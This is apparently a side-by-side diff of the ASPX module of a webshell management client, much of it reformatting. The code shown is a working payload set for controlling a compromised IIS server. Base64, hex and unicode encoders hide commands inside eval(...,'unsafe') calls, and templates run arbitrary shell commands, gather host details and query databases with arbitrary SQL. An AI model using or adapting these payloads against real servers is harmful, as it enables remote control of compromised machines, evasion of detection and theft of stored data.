let formatter = Base.prototype.format(this.__opts__['encode']); let formatter = Base
.prototype
.format(this.__opts__['encode']);
// hex编码一次数据 // hex编码一次数据
let hexCode = formatter['hex'](data['_']); let hexCode = formatter['hex'](data['_']);
......
// //
// aspx::base64 编码模块 // aspx::base64 编码模块
// //
// :把除了密码的其他参数都base64编码一次 // :把除了密码的其他参数都base64编码一次
// //
'use strict'; 'use strict';
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`; let randomID = `_0x${Math
data[randomID] = Buffer.from(data['_']).toString('base64'); .random()
.toString(16)
.substr(2)}`;
data[randomID] = Buffer
.from(data['_'])
.toString('base64');
data[pwd] = `eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${randomID}"])),"unsafe");`; data[pwd] = `eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${randomID}"])),"unsafe");`;
delete data['_']; delete data['_'];
return data; return data;
......
// //
// aspx::hex 编码模块 // aspx::hex 编码模块
// //
// 把除了密码的其他参数都 hex 编码一次 // 把除了密码的其他参数都 hex 编码一次
// //
'use strict'; 'use strict';
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`; let randomID = `_0x${Math
let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new System.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Globalization.NumberStyles.HexNumber))));}return sb.ToString();};"; .random()
data[randomID] = Buffer.from(data['_']).toString('hex'); .toString(16)
.substr(2)}`;
let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new Sys" +
"tem.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Co" +
"nvert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Glob" +
"alization.NumberStyles.HexNumber))));}return sb.ToString();};";
data[randomID] = Buffer
.from(data['_'])
.toString('hex');
data[pwd] = `${hexencoder};eval(HexAsciiConvert(Request.Item["${randomID}"]),"unsafe");`; data[pwd] = `${hexencoder};eval(HexAsciiConvert(Request.Item["${randomID}"]),"unsafe");`;
delete data['_']; delete data['_'];
return data; return data;
......
...@@ -8,21 +8,23 @@ ...@@ -8,21 +8,23 @@
'use strict'; 'use strict';
function char2unicode(c) { function char2unicode(c) {
if(c.length != 1) { if (c.length != 1) {
return ''; return '';
} }
let buff = Buffer.alloc(4, '0'); let buff = Buffer.alloc(4, '0');
let hexstr = c.charCodeAt().toString(16); let hexstr = c
.charCodeAt()
.toString(16);
buff.write(hexstr, buff.length - hexstr.length, hexstr.length); buff.write(hexstr, buff.length - hexstr.length, hexstr.length);
return "\\u" + buff.toString(); return "\\u" + buff.toString();
} }
function string2unicode(str){ function string2unicode(str) {
var ret = ""; var ret = "";
for(var i=0; i<str.length; i++){ for (var i = 0; i < str.length; i++) {
ret += char2unicode(str[i]); ret += char2unicode(str[i]);
} }
return ret; return ret;
} }
/* /*
...@@ -30,7 +32,7 @@ function string2unicode(str){ ...@@ -30,7 +32,7 @@ function string2unicode(str){
* @param {Array} data 编码器处理前的 payload 数组 * @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组
*/ */
module.exports = (pwd, data, ext={}) => { module.exports = (pwd, data, ext = {}) => {
data[pwd] = string2unicode(data['_']).replace(/\\u/g, 'asunescape(%)u'); data[pwd] = string2unicode(data['_']).replace(/\\u/g, 'asunescape(%)u');
// 删除 _ 原有的payload // 删除 _ 原有的payload
delete data['_']; delete data['_'];
......
...@@ -18,21 +18,31 @@ class ASPX extends Base { ...@@ -18,21 +18,31 @@ class ASPX extends Base {
super(opts); super(opts);
// 解析模板 // 解析模板
[ [
'base', 'command', 'filemanager', 'base',
'database/dsn', 'database/mysql', 'command',
'database/access', 'database/oracle', 'filemanager',
'database/sqlserver', 'database/sqloledb_1', 'database/dsn',
'database/sqloledb_1_sspi', 'database/microsoft_jet_oledb_4_0' 'database/mysql',
'database/access',
'database/oracle',
'database/sqlserver',
'database/sqloledb_1',
'database/sqloledb_1_sspi',
'database/microsoft_jet_oledb_4_0'
].map((_) => { ].map((_) => {
this.parseTemplate(`./aspx/template/${_}`); this.parseTemplate(`./aspx/template/${_}`);
}); });
// 解析编码器 // 解析编码器
this.encoders.map((_) => { this
this.parseEncoder(`./aspx/encoder/${_}`); .encoders
}); .map((_) => {
this.decoders.map((_) => { this.parseEncoder(`./aspx/encoder/${_}`);
this.parseDecoder(`./aspx/decoder/${_}`); });
}); this
.decoders
.map((_) => {
this.parseDecoder(`./aspx/decoder/${_}`);
});
} }
/** /**
...@@ -40,7 +50,7 @@ class ASPX extends Base { ...@@ -40,7 +50,7 @@ class ASPX extends Base {
* @return {array} 编码器列表 * @return {array} 编码器列表
*/ */
get encoders() { get encoders() {
return ["base64","hex", "url_unicode"]; return ["base64", "hex", "url_unicode"];
} }
get decoders() { get decoders() {
...@@ -52,17 +62,25 @@ class ASPX extends Base { ...@@ -52,17 +62,25 @@ class ASPX extends Base {
* @param {Object} data 通过模板解析后的代码对象 * @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象 * @return {Promise} 返回一个Promise操作对象
*/ */
complete(data, force_default=false) { complete(data, force_default = false) {
// 分隔符号 // 分隔符号
let tag_s = Math.random().toString(16).substr(2, 5); // '->|'; let tag_s = Math
let tag_e = Math.random().toString(16).substr(2, 5); // '|<-'; .random()
.toString(16)
.substr(2, 5); // '->|';
let tag_e = Math
.random()
.toString(16)
.substr(2, 5); // '|<-';
// let formatter = new this.format(this.__opts__['encode']); // let formatter = new this.format(this.__opts__['encode']);
let formatter = Base.prototype.format(this.__opts__['encode']); let formatter = Base
.prototype
.format(this.__opts__['encode']);
let aspxencode = this.__opts__['encode']; let aspxencode = this.__opts__['encode'];
switch(this.__opts__['encode']) { switch (this.__opts__['encode']) {
case "UTF8": case "UTF8":
aspxencode = "UTF-8"; aspxencode = "UTF-8";
break; break;
......
...@@ -4,13 +4,14 @@ ...@@ -4,13 +4,14 @@
*/ */
module.exports = () => ({ module.exports = () => ({
info: info: {
`var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+"\t");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");Response.Write("\t"+Environment.OSVersion+"\t");Response.Write(Environment.UserName);`, _: `var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+"\t");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");Response.Write("\t"+Environment.OSVersion+"\t");Response.Write(Environment.UserName);`
probedb: // 检测数据库函数支持 },
`function fe(S:String){try{new ActiveXObject(S);return 1;}catch(Exception){return 0;}}; probedb: { // 检测数据库函数支持
_: `function fe(S:String){try{new ActiveXObject(S);return 1;}catch(Exception){return 0;}};
var n="Adodb.Connection|Adodb.RecordSet"; var n="Adodb.Connection|Adodb.RecordSet";
n=n.Split("|"); n=n.Split("|");
for(var i=0;i<n.length;i++)Response.Write(n[i]+"\\t"+fe(n[i])+"\\n"); for(var i=0;i<n.length;i++)Response.Write(n[i]+"\\t"+fe(n[i])+"\\n");
`.replace(/\n\s+/g, ''), `.replace(/\n\s+/g, '')
}
}) })
\ No newline at end of file
...@@ -4,19 +4,17 @@ ...@@ -4,19 +4,17 @@
module.exports = (arg1, arg2) => ({ module.exports = (arg1, arg2) => ({
exec: { exec: {
_: _: `var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`,
`var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`,
[arg1]: "#{base64::bin}", [arg1]: "#{base64::bin}",
[arg2]: "#{base64::cmd}" [arg2]: "#{base64::cmd}"
}, },
listcmd: { listcmd: {
_: _: `var binarr=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
`var binarr=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
var ss=binarr.split(","); var ss=binarr.split(",");
var i; var i;
for(var i in ss){ for(var i in ss){
Response.Write(ss[i]+"\\t"+(System.IO.File.Exists(ss[i])?1:0)+"\\n"); Response.Write(ss[i]+"\\t"+(System.IO.File.Exists(ss[i])?1:0)+"\\n");
}`.replace(/\n\s+/g, ''), }`.replace(/\n\s+/g, ''),
[arg1]: "#{base64::binarr}", [arg1]: "#{base64::binarr}"
} }
}) })
...@@ -5,30 +5,26 @@ ...@@ -5,30 +5,26 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write(Request.Item["${arg2}"]+"\\t");Conn.Close();`,
`var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write(Request.Item["${arg2}"]+"\\t");Conn.Close();`,
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
[arg2]: '#{dbname}' [arg2]: '#{dbname}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`,
`var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`, [arg1]: '#{base64::conn}'
[arg1]: '#{base64::conn}',
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
`function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
// SELECT TOP 1 * FROM table2 // SELECT TOP 1 * FROM table2
[arg2]: '#{base64::table}' [arg2]: '#{base64::table}'
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
`var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
[arg2]: '#{base64::sql}', [arg2]: '#{base64::sql}'
} }
}) })
...@@ -5,29 +5,25 @@ ...@@ -5,29 +5,25 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();`,
`var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();`,
[arg1]: '#{base64::conn}' [arg1]: '#{base64::conn}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`,
`var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`, [arg1]: '#{base64::conn}'
[arg1]: '#{base64::conn}',
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
`function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`,
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
// SELECT TOP 1 * FROM table3 // SELECT TOP 1 * FROM table3
[arg2]: '#{base64::table}' [arg2]: '#{base64::table}'
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
`var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
[arg2]: '#{base64::sql}', [arg2]: '#{base64::sql}'
} }
}) })
// //
// ASPX::DNS数据库驱动代码模板 // ASPX::DNS数据库驱动代码模板
// //
module.exports = require('./default'); module.exports = require('./default');
\ No newline at end of file
// //
// ASPX::microsoft_jet_oledb_4_0数据库驱动代码模板 // ASPX::microsoft_jet_oledb_4_0数据库驱动代码模板
// //
module.exports = require('./access'); module.exports = require('./access');
\ No newline at end of file
...@@ -5,8 +5,7 @@ ...@@ -5,8 +5,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");
`var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionTimeout=10; Conn.ConnectionTimeout=10;
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]))); Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset"); var Rs=new ActiveXObject("ADODB.Recordset");
...@@ -17,13 +16,13 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -17,13 +16,13 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
} }
Rs.Close(); Rs.Close();
Conn.Close();`.replace(/\n\s+/g, ''), Conn.Close();`.replace(/\n\s+/g, ''),
// Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist Security Info=True; // Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist
// Security Info=True;
[arg1]: '#{base64::conn}' [arg1]: '#{base64::conn}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");
`var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])); Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
Conn.ConnectionTimeout=10; Conn.ConnectionTimeout=10;
Conn.Open(); Conn.Open();
...@@ -40,8 +39,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -40,8 +39,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");
`var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionTimeout=10; Conn.ConnectionTimeout=10;
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]))); Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset"); var Rs=new ActiveXObject("ADODB.Recordset");
...@@ -61,8 +59,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -61,8 +59,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");
`var Conn=new ActiveXObject("Adodb.connection");
var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])); var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));
Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])); Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
Conn.ConnectionTimeout=10; Conn.ConnectionTimeout=10;
...@@ -85,7 +82,8 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -85,7 +82,8 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
} }
Conn.Close();`.replace(/\n\s+/g, ''), Conn.Close();`.replace(/\n\s+/g, ''),
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
// SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A ORDER BY 1) WHERE N>0 AND N<=20 // SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A ORDER BY 1) WHERE N>0 AND
// N<=20
[arg2]: '#{base64::sql}', [arg2]: '#{base64::sql}',
[arg3]: '#{dbname}' [arg3]: '#{dbname}'
} }
......
...@@ -5,8 +5,7 @@ ...@@ -5,8 +5,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");
`var Conn=new ActiveXObject("Adodb.connection");
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]))); Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset"); var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open("SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1",Conn,1,1); Rs.Open("SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1",Conn,1,1);
...@@ -20,8 +19,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -20,8 +19,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");
`var Conn=new ActiveXObject("Adodb.connection");
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]))); Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset"); var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open("USE ["+Request.Item["${arg2}"]+"]; Rs.Open("USE ["+Request.Item["${arg2}"]+"];
...@@ -37,8 +35,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -37,8 +35,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");
`var Conn=new ActiveXObject("Adodb.connection");
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]))); Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset"); var Rs=new ActiveXObject("ADODB.Recordset");
